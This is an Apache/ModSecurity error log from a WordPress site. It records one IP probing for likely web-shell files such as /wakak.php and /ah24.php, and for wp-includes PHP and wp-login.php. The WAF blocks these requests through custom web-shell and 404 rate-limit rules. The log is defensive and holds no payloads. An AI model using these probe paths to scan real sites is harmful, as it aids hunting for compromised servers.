[Sun Jan 04 18:59:39.351917 2026] [:error] [pid 54924:tid 54978] [client 4.217.232.248:47937] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aVpIGyui7g9GJY9Xm_5CDgAAAVg"]
[Sun Jan 04 18:59:40.726717 2026] [:error] [pid 54892:tid 54916] [client 4.217.232.248:22024] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aVpIHDQuH9c6y3HhHGsY2wAAAFQ"]
[Sun Jan 04 18:59:42.405770 2026] [:error] [pid 47095:tid 47132] [client 4.217.232.248:48738] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aVpIHr4vyPZCmfGyjmp3WAAAAcg"]
[Sun Jan 04 18:59:43.864617 2026] [:error] [pid 54983:tid 54988] [client 4.217.232.248:48757] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aVpIHyj1D7W9ekfwAOfmzwAAAYE"]
[Sun Jan 04 18:59:45.163291 2026] [:error] [pid 54892:tid 54903] [client 4.217.232.248:48716] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aVpIITQuH9c6y3HhHGsY3gAAAEg"]
[Sun Jan 04 18:59:46.906756 2026] [:error] [pid 54985:tid 55047] [client 4.217.232.248:44007] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aVpIIp8J2n8riTLGXUcsYgAAA0U"]
[Sun Jan 04 18:59:47.641892 2026] [:error] [pid 54983:tid 55000] [client 4.217.232.248:48666] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aVpIIyj1D7W9ekfwAOfm2AAAAY0"]
[Sun Jan 04 18:59:49.783851 2026] [:error] [pid 51328:tid 51343] [client 4.217.232.248:44536] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aVpIJSMWRuZOO8ezt_3__QAAAwo"]
[Sun Jan 04 18:59:51.594733 2026] [:error] [pid 15480:tid 15489] [client 4.217.232.248:47928] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aVpIJxBWKIu3SdvwTFipjwAAAIc"]
[Sun Jan 04 18:59:52.195337 2026] [:error] [pid 1080:tid 1158] [client 4.217.232.248:42006] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aVpIKCu2Hm9AcIiqg0rCpwAAA9M"]
[Sun Jan 04 18:59:53.430944 2026] [:error] [pid 54892:tid 54909] [client 4.217.232.248:11515] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aVpIKTQuH9c6y3HhHGsY4gAAAE4"]
[Sun Jan 04 18:59:55.569466 2026] [:error] [pid 54985:tid 55042] [client 4.217.232.248:12229] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aVpIK58J2n8riTLGXUcscgAAA0A"]
[Sun Jan 04 18:59:57.372094 2026] [:error] [pid 51238:tid 51244] [client 4.217.232.248:11886] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aVpILSTcdgLoN6wImqeNhgAAAkQ"]
[Sun Jan 04 18:59:59.474733 2026] [:error] [pid 54983:tid 55003] [client 4.217.232.248:23112] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aVpILyj1D7W9ekfwAOfm3QAAAZA"]
[Sun Jan 04 19:00:00.635772 2026] [:error] [pid 54983:tid 54987] [client 4.217.232.248:27732] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aVpIMCj1D7W9ekfwAOfm4gAAAYA"]
[Sun Jan 04 19:00:02.772224 2026] [:error] [pid 54983:tid 54988] [client 4.217.232.248:45363] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aVpIMij1D7W9ekfwAOfm7QAAAYE"]
[Sun Jan 04 19:00:06.135128 2026] [:error] [pid 54983:tid 55009] [client 4.217.232.248:43345] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aVpINij1D7W9ekfwAOfm9QAAAZY"]
[Sun Jan 04 19:00:33.115033 2026] [:error] [pid 54985:tid 55058] [client 4.217.232.248:11612] [client 4.217.232.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.217.232.248, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aVpIUZ8J2n8riTLGXUcsjAAAA1A"]
[Sun Jan 04 19:00:33.119101 2026] [proxy_fcgi:error] [pid 54985:tid 55058] [client 4.217.232.248:11612] AH01071: Got error 'Primary script unknown'
[Sun Jan 04 19:00:41.791565 2026] [:error] [pid 54985:tid 55046] [client 4.217.232.248:11612] [client 4.217.232.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aVpIWZ8J2n8riTLGXUcsmQAAA0Q"]
[Sun Jan 04 19:01:06.144401 2026] [:error] [pid 51271:tid 51283] [client 4.217.232.248:31714] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/waq.php"] [unique_id "aVpIck6lEeK0FXEoMJkbRQAAAok"]
[Sun Jan 04 19:01:07.347659 2026] [:error] [pid 54924:tid 54972] [client 4.217.232.248:39712] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/waq.php"] [unique_id "aVpIcyui7g9GJY9Xm_5CPAAAAVI"]
[Sun Jan 04 19:01:08.243302 2026] [:error] [pid 15480:tid 15505] [client 4.217.232.248:27765] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/waq.php"] [unique_id "aVpIdBBWKIu3SdvwTFiptgAAAJc"]
[Sun Jan 04 19:01:09.075223 2026] [:error] [pid 54985:tid 55051] [client 4.217.232.248:27668] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/waq.php"] [unique_id "aVpIdZ8J2n8riTLGXUcspgAAA0k"]
[Sun Jan 04 19:01:09.802457 2026] [:error] [pid 54985:tid 55053] [client 4.217.232.248:28542] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wakak.php"] [unique_id "aVpIdZ8J2n8riTLGXUcsqAAAA0s"]
[Sun Jan 04 19:01:10.950542 2026] [:error] [pid 51238:tid 51248] [client 4.217.232.248:11712] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wakak.php"] [unique_id "aVpIdiTcdgLoN6wImqeN4wAAAkg"]
[Sun Jan 04 19:01:12.425324 2026] [:error] [pid 54892:tid 54913] [client 4.217.232.248:40286] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wakak.php"] [unique_id "aVpIeDQuH9c6y3HhHGsZFAAAAFE"]
[Sun Jan 04 19:01:14.973018 2026] [:error] [pid 54924:tid 54978] [client 4.217.232.248:11783] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wakak.php"] [unique_id "aVpIeiui7g9GJY9Xm_5CQAAAAVg"]
[Sun Jan 04 19:01:15.343856 2026] [:error] [pid 54983:tid 54996] [client 4.217.232.248:42724] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aVpIeyj1D7W9ekfwAOfnMQAAAYk"]
[Sun Jan 04 19:01:15.831587 2026] [:error] [pid 51238:tid 51256] [client 4.217.232.248:44857] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aVpIeyTcdgLoN6wImqeN5gAAAlA"]
[Sun Jan 04 19:01:17.554949 2026] [:error] [pid 54983:tid 54995] [client 4.217.232.248:12077] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aVpIfSj1D7W9ekfwAOfnMwAAAYg"]
[Sun Jan 04 19:01:18.491879 2026] [:error] [pid 51238:tid 51253] [client 4.217.232.248:11748] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aVpIfiTcdgLoN6wImqeN6gAAAk0"]
[Sun Jan 04 19:01:19.415289 2026] [:error] [pid 51271:tid 51292] [client 4.217.232.248:44822] [client 4.217.232.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aVpIf06lEeK0FXEoMJkbSQAAApI"]
[Sun Jan 04 19:01:19.996631 2026] [:error] [pid 47095:tid 47135] [client 4.217.232.248:44858] [client 4.217.232.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/index.php"] [unique_id "aVpIf74vyPZCmfGyjmp3pwAAAcs"]
[Sun Jan 04 19:01:21.120002 2026] [:error] [pid 47095:tid 47136] [client 4.217.232.248:12054] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aVpIgb4vyPZCmfGyjmp3qAAAAcw"]
[Sun Jan 04 19:01:22.882886 2026] [:error] [pid 51238:tid 51247] [client 4.217.232.248:23128] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aVpIgiTcdgLoN6wImqeN7AAAAkc"]
[Sun Jan 04 19:01:24.493065 2026] [:error] [pid 54985:tid 55055] [client 4.217.232.248:40798] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aVpIhJ8J2n8riTLGXUcstQAAA00"]
[Sun Jan 04 19:01:25.003921 2026] [:error] [pid 54985:tid 55045] [client 4.217.232.248:44845] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aVpIhZ8J2n8riTLGXUcstwAAA0M"]
[Sun Jan 04 19:01:25.393821 2026] [:error] [pid 54983:tid 54998] [client 4.217.232.248:43466] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cwclass.php"] [unique_id "aVpIhSj1D7W9ekfwAOfnOAAAAYs"]
[Sun Jan 04 19:01:27.218875 2026] [:error] [pid 1080:tid 1142] [client 4.217.232.248:44852] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cwclass.php"] [unique_id "aVpIhyu2Hm9AcIiqg0rC-AAAA8M"]
[Sun Jan 04 19:01:27.874210 2026] [:error] [pid 15480:tid 15497] [client 4.217.232.248:20532] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cwclass.php"] [unique_id "aVpIhxBWKIu3SdvwTFipvgAAAI8"]
[Sun Jan 04 19:01:28.471815 2026] [:error] [pid 15480:tid 15488] [client 4.217.232.248:20540] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cwclass.php"] [unique_id "aVpIiBBWKIu3SdvwTFipwgAAAIY"]
[Sun Jan 04 19:01:29.636987 2026] [:error] [pid 54983:tid 55009] [client 4.217.232.248:12032] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah24.php"] [unique_id "aVpIiSj1D7W9ekfwAOfnOwAAAZY"]
[Sun Jan 04 19:01:30.499962 2026] [:error] [pid 51328:tid 51343] [client 4.217.232.248:42716] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah24.php"] [unique_id "aVpIiiMWRuZOO8ezt_0AQwAAAwo"]
[Sun Jan 04 19:01:31.943087 2026] [:error] [pid 1080:tid 1148] [client 4.217.232.248:43490] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah24.php"] [unique_id "aVpIiyu2Hm9AcIiqg0rDAQAAA8k"]
[Sun Jan 04 19:01:33.608166 2026] [:error] [pid 54985:tid 55049] [client 4.217.232.248:23139] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah24.php"] [unique_id "aVpIjZ8J2n8riTLGXUcsvwAAA0c"]
[Sun Jan 04 19:01:34.502324 2026] [:error] [pid 51271:tid 51291] [client 4.217.232.248:42701] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rtx.php"] [unique_id "aVpIjk6lEeK0FXEoMJkbSwAAApE"]
[Sun Jan 04 19:01:36.359904 2026] [:error] [pid 51328:tid 51334] [client 4.217.232.248:42705] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rtx.php"] [unique_id "aVpIkCMWRuZOO8ezt_0ASQAAAwE"]
[Sun Jan 04 19:01:37.149654 2026] [:error] [pid 1080:tid 1145] [client 4.217.232.248:42739] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rtx.php"] [unique_id "aVpIkSu2Hm9AcIiqg0rDAwAAA8Y"]
[Sun Jan 04 19:01:38.040565 2026] [:error] [pid 54924:tid 54966] [client 4.217.232.248:11439] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rtx.php"] [unique_id "aVpIkiui7g9GJY9Xm_5CRgAAAUw"]
[Sun Jan 04 19:01:39.356731 2026] [:error] [pid 54983:tid 54999] [client 4.217.232.248:12075] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bipas.php"] [unique_id "aVpIkyj1D7W9ekfwAOfnTgAAAYw"]
[Sun Jan 04 19:01:40.660030 2026] [:error] [pid 54983:tid 55010] [client 4.217.232.248:29546] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bipas.php"] [unique_id "aVpIlCj1D7W9ekfwAOfnUgAAAZc"]
[Sun Jan 04 19:01:42.534520 2026] [:error] [pid 15480:tid 15495] [client 4.217.232.248:43306] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bipas.php"] [unique_id "aVpIlhBWKIu3SdvwTFipxgAAAI0"]
[Sun Jan 04 19:01:46.089838 2026] [:error] [pid 54983:tid 55009] [client 4.217.232.248:29519] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bipas.php"] [unique_id "aVpImij1D7W9ekfwAOfnVwAAAZY"]
[Sun Jan 04 19:01:47.253740 2026] [:error] [pid 51328:tid 51353] [client 4.217.232.248:29552] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conte.php"] [unique_id "aVpImyMWRuZOO8ezt_0AUAAAAxQ"]
[Sun Jan 04 19:01:49.519707 2026] [:error] [pid 51238:tid 51242] [client 4.217.232.248:29108] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conte.php"] [unique_id "aVpInSTcdgLoN6wImqeOAAAAAkI"]
[Sun Jan 04 19:01:50.603515 2026] [:error] [pid 51238:tid 51249] [client 4.217.232.248:43277] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conte.php"] [unique_id "aVpIniTcdgLoN6wImqeOAgAAAkk"]
